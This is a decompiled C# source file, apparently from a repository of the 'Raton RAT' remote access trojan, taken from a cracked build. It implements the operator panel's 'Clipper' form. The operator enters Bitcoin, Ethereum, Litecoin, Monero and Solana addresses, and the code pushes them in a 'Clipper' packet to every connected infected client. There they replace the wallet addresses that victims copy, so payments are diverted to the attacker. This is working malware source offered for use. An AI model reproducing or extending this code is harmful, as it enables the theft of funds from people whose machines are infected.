Files
raton4.0-source/Raton RAT/Raton/Forms/ClientForms/Monitor/ratonClipper.cs
T
2026-08-27 11:23:13 -06:00

247 lines
9.7 KiB
C#

// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ClientForms.Monitor.ratonClipper
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Raton.Classes;
using Raton.Properties;
using Server.Connection;
using Stuff;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Threading.Tasks;
using System.Windows.Forms;
#nullable disable
namespace Raton.Forms.ClientForms.Monitor;
public class ratonClipper : Form
{
public bool isListening;
public List<SillyClient> clients;
public string btc = "";
public string eth = "";
public string xmr = "";
public string solana = "";
public string ltc = "";
private IContainer components;
private TextBox textBox1;
private TextBox textBox2;
private Label label1;
private Label label2;
private RgbBuildButton button1;
private TextBox textBox3;
private Label label3;
private TextBox textBox4;
private Label label4;
private TextBox textBox5;
private Label label5;
public ratonClipper()
{
this.InitializeComponent();
DarkMode.Start((Form) this);
this.clients = new List<SillyClient>();
}
private void ratonClipper_Load(object sender, EventArgs e)
{
if (!this.isListening)
return;
this.button1.Text = "Stop clipper";
}
private async void button1_Click(object sender, EventArgs e)
{
ratonClipper ratonClipper = this;
if (string.IsNullOrWhiteSpace(ratonClipper.textBox1.Text) && string.IsNullOrWhiteSpace(ratonClipper.textBox2.Text) && string.IsNullOrWhiteSpace(ratonClipper.textBox3.Text) && string.IsNullOrWhiteSpace(ratonClipper.textBox4.Text) && string.IsNullOrWhiteSpace(ratonClipper.textBox5.Text))
{
int num = (int) Messenger.MessageBox("Please insert atleast an address");
}
else
{
ratonClipper.isListening = !ratonClipper.isListening;
if (ratonClipper.isListening)
{
ratonClipper.btc = ratonClipper.textBox1.Text;
ratonClipper.eth = ratonClipper.textBox2.Text;
ratonClipper.ltc = ratonClipper.textBox3.Text;
ratonClipper.xmr = ratonClipper.textBox4.Text;
ratonClipper.solana = ratonClipper.textBox5.Text;
ratonClipper.clients = Program.form2.GetClients();
ratonClipper.Text = $"Clipper activated on {ratonClipper.clients.Count.ToString()} clients";
ratonClipper.button1.Text = "Stop clipper";
Program.form2.isClipping = true;
await Task.Run((Action) (() =>
{
foreach (SillyClient client in ratonClipper.clients)
{
if (client.isConnected())
{
Pack pack = new Pack();
pack.SetString("Packet", "Clipper");
pack.SetString("BTC", ratonClipper.btc);
pack.SetString("ETH", ratonClipper.eth);
pack.SetString("LTC", ratonClipper.ltc);
pack.SetString("XMR", ratonClipper.xmr);
pack.SetString("SOLANA", ratonClipper.solana);
client.Send(pack.Pacc());
}
}
}));
}
else
{
ratonClipper.button1.Text = "Start clipper";
ratonClipper.Text = "Clipper";
Program.form2.isClipping = false;
foreach (SillyClient client in ratonClipper.clients)
{
if (client.isConnected())
{
Pack pack = new Pack();
pack.SetString("Packet", "Clipper");
pack.SetString("BTC", ratonClipper.textBox1.Text);
pack.SetString("ETH", ratonClipper.textBox2.Text);
pack.SetString("LTC", ratonClipper.textBox3.Text);
pack.SetString("XMR", ratonClipper.textBox4.Text);
pack.SetString("SOLANA", ratonClipper.textBox5.Text);
client.Send(pack.Pacc());
}
}
}
}
}
private void ratonClipper_FormClosing(object sender, FormClosingEventArgs e)
{
e.Cancel = true;
this.Visible = false;
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonClipper));
this.textBox1 = new TextBox();
this.textBox2 = new TextBox();
this.label1 = new Label();
this.label2 = new Label();
this.button1 = new RgbBuildButton();
this.textBox3 = new TextBox();
this.label3 = new Label();
this.textBox4 = new TextBox();
this.label4 = new Label();
this.textBox5 = new TextBox();
this.label5 = new Label();
this.SuspendLayout();
this.textBox1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.textBox1.Location = new Point(12, 29);
this.textBox1.Name = "textBox1";
this.textBox1.Size = new Size(514, 23);
this.textBox1.TabIndex = 1;
this.textBox2.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.textBox2.Location = new Point(12, 75);
this.textBox2.Name = "textBox2";
this.textBox2.Size = new Size(514, 23);
this.textBox2.TabIndex = 2;
this.label1.AutoSize = true;
this.label1.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.label1.Location = new Point(12, 9);
this.label1.Name = "label1";
this.label1.Size = new Size(99, 17);
this.label1.TabIndex = 3;
this.label1.Text = "Bitcoin address";
this.label2.AutoSize = true;
this.label2.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.label2.Location = new Point(12, 55);
this.label2.Name = "label2";
this.label2.Size = new Size(82, 17);
this.label2.TabIndex = 4;
this.label2.Text = "ETH address";
this.button1.Cursor = Cursors.Arrow;
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
this.button1.ForeColor = Color.White;
this.button1.Icon = (Image) Resources.ic_fluent_person_money_24_filled;
this.button1.IconSize = 24;
this.button1.IconSpacing = 8;
this.button1.Location = new Point(12, 254);
this.button1.Name = "button1";
this.button1.Size = new Size(514, 46);
this.button1.TabIndex = 5;
this.button1.Text = "Start clipper";
this.button1.Click += new EventHandler(this.button1_Click);
this.textBox3.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.textBox3.Location = new Point(12, 121);
this.textBox3.Name = "textBox3";
this.textBox3.Size = new Size(514, 23);
this.textBox3.TabIndex = 6;
this.label3.AutoSize = true;
this.label3.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.label3.Location = new Point(12, 101);
this.label3.Name = "label3";
this.label3.Size = new Size(81, 17);
this.label3.TabIndex = 7;
this.label3.Text = "LTC address";
this.textBox4.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.textBox4.Location = new Point(12, 167);
this.textBox4.Name = "textBox4";
this.textBox4.Size = new Size(514, 23);
this.textBox4.TabIndex = 8;
this.label4.AutoSize = true;
this.label4.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.label4.Location = new Point(12, 147);
this.label4.Name = "label4";
this.label4.Size = new Size(87, 17);
this.label4.TabIndex = 9;
this.label4.Text = "XMR address";
this.textBox5.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.textBox5.Location = new Point(12, 213);
this.textBox5.Name = "textBox5";
this.textBox5.Size = new Size(514, 23);
this.textBox5.TabIndex = 10;
this.label5.AutoSize = true;
this.label5.Font = new Font("Microsoft JhengHei", 9.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.label5.Location = new Point(12, 193);
this.label5.Name = "label5";
this.label5.Size = new Size(111, 17);
this.label5.TabIndex = 11;
this.label5.Text = "SOLANA address";
this.AutoScaleDimensions = new SizeF(7f, 15f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(541, 321);
this.Controls.Add((Control) this.textBox5);
this.Controls.Add((Control) this.label5);
this.Controls.Add((Control) this.textBox4);
this.Controls.Add((Control) this.label4);
this.Controls.Add((Control) this.textBox3);
this.Controls.Add((Control) this.label3);
this.Controls.Add((Control) this.button1);
this.Controls.Add((Control) this.textBox2);
this.Controls.Add((Control) this.textBox1);
this.Controls.Add((Control) this.label2);
this.Controls.Add((Control) this.label1);
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.Name = nameof (ratonClipper);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = "Clipper";
this.FormClosing += new FormClosingEventHandler(this.ratonClipper_FormClosing);
this.Load += new EventHandler(this.ratonClipper_Load);
this.ResumeLayout(false);
this.PerformLayout();
}
}